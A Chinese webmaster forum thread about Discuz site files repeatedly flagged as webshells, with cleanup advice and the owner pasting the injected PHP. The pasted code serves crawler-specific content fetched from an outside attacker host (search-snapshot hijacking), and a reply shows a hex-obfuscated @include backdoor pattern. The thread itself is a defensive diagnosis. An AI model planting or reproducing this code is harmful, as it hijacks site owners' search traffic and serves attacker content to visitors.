两个文件总是提示为WEBSHELL

9axl

警告 index.php文件为webshell；警告 portal.php文件为webshell；官方文件刚替换查杀也提示。后台检测也没有文件被修改。

我知道答案 回答被采纳将会获得1 贡献 已有11人回答

allthebest

若存在，处理前，先卸载所有盗版插件与模版。

进discuz后台找到工具-文件校验，看下最近有哪些php文件被修改了。

1、排查网站源文件的php 文件，查看是否有出现IP地址、或者异常网站（上面跳转的网站），如果有删除就可以了。

2、排查网站源文件的php 文件，查看是否有如下代码：@include($_SERVER['DOCUMENT_ROOT']

（排查一般用WEBshell后门扫描软件扫描核查！）

如果有就删除此段代码。并把该段代码进行解密。

举例：@include($_SERVER['DOCUMENT_ROOT'].PACK('H*','2F646174612F6176617461722F30'));

需要解密的代码为：2F646174612F6176617461722F30

解密后为：/data/avatar/0

代码解密地址：http://www.bejson.com/convert/ox2str/


意思就是在上述路径下存在被非法上传的文件，用于做快照劫持。

解决办法：删除上面的代码和文件即可。

挂马问题解决了后，记得更改服务器相关的各种密码，尽量设置的复杂一点。

9axl

<?php
header('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false||strpos($key,strtolower('Yahoo'))!== false||strpos($key,strtolower('bingbot'))!== false )
{
date_default_timezone_set('PRC');
$TD_server = "http://www.hack163.com/shou/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

echo $Content_mb;
}


?>
在这几个文件中加入了这样一段代码。

crx349

打开看看 是否被改了 对比官方文件

crx349

9axl 发表于 2020-9-27 13:08
在这几个文件中加入了这样一段代码。

典型的挂马了

9axl

空间商技术人员说是DZ程序漏洞，被注入。

crx349

9axl 发表于 2020-9-28 10:02
空间商技术人员说是DZ程序漏洞，被注入。

我可以反过来说 空间商空间有漏洞被注入了吗

空间商甩锅啊 要解决 而不是推卸责任

allthebest

9axl 发表于 2020-9-28 01:02
空间商技术人员说是DZ程序漏洞，被注入。

不负责任空间，及早备份搬家去。

czwhehehe

crx349 发表于 2020-9-28 11:39
我可以反过来说 空间商空间有漏洞被注入了吗

空间商甩锅啊 要解决 而不是推卸责任 ...

真不怪空间商，说白了你就是用盗版插件或者模板造成的

9axl

现在我将网站里面的所有文件都移到一个新建的OLD文件夹里，然后，全新上传了3。4，现在看看有怎样的结果。